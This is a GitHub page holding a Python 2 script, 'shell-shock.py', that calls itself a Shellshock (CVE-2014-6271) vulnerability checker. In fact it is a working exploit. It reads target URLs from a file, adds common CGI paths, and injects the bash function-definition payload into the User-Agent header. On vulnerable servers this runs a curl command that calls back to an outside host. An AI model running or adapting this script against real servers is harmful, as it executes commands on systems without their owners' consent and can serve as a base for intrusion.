-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshell-shock.py
executable file
·126 lines (99 loc) · 3.33 KB
/
shell-shock.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# pylint: disable=C0103
# pylint: disable=C0413
# pylint: disable=W0621
# pylint: disable=W0702
'''
Script that checks if remote web servers are vulnarable to ShellShock attack (CVE-2014-6271).
Dependencies:
* python2
# Debian/Ubuntu: apt-get install python
# Fedora: dnf install python
* mechanize
# Debian/Ubuntu: apt-get install python-mechanize
# Fedora: dnf install python2-mechanize
'''
EXPLOIT = '() { :;}; echo Content-Type: text/plain ; echo ; /bin/bash -c "'
COMMAND = 'curl -L -s -I http://www.example.com/shell-shock'
import os
import socket
import sys
from urlparse import urlparse
from mechanize import Browser
if len(sys.argv) != 2:
print 'Usage: ' + sys.argv[0] + ' [filename]'
print " * filename - File that contains list of urls.\n"
sys.exit(1)
URLS_FILE = sys.argv[1]
if not os.path.isfile(URLS_FILE):
print 'Error: file ' + '"' + URLS_FILE + '"' + " doesn't exist.\n"
sys.exit(1)
COMMON_PATHS = [
'bin',
'bin/status',
'cgi',
'cgi/status',
'cgi-bin',
'cgi-bin/status'
]
URLS = list()
with open(URLS_FILE, 'r') as content:
for url in content:
url = url.strip()
if url not in URLS:
URLS.append(url)
def resolve_url(url):
'''Function that checks if hostname is an IP or domain, if it's domain then returns IP.'''
parsed_url = urlparse(url)
netloc = parsed_url.netloc
try:
socket.inet_aton(netloc)
except socket.error:
ip = socket.gethostbyname(netloc)
url = parsed_url._replace(netloc=ip).geturl()
return url
return None
def generate_urls(urls):
'''Generates list of urls with common paths to increase chance of hitting right spot.'''
generated_urls = list()
for url in urls:
if not url.endswith('/'):
url += '/'
generated_urls.append(url)
for common_path in COMMON_PATHS:
generated_urls.append(url + common_path)
return generated_urls
if bool(URLS):
for url in URLS:
if url.find('cgi') == -1 or url.find('bin') == -1:
base_urls = [url]
if resolve_url(url):
base_urls.append(resolve_url(url))
generated_urls = generate_urls(base_urls)
for generated_url in generated_urls:
print '> Sending shock to: ' + generated_url
generated_command = COMMAND + ' -A ' + generated_url
br = Browser()
br.addheaders = [('User-agent', EXPLOIT + generated_command + '"')]
try:
RESPONSE = br.open(generated_url, None, 3)
except KeyboardInterrupt:
sys.exit(0)
except:
pass
else:
base_urls = [url]
if resolve_url(url):
base_urls.append(resolve_url(url))
for base_url in base_urls:
try:
generated_command = COMMAND + ' -A ' + base_url
br = Browser()
br.addheaders = [('User-agent', EXPLOIT + generated_command + '"')]
RESPONSE = br.open(base_url, None, 3)
except KeyboardInterrupt:
sys.exit(0)
except:
pass
print '> Finished.'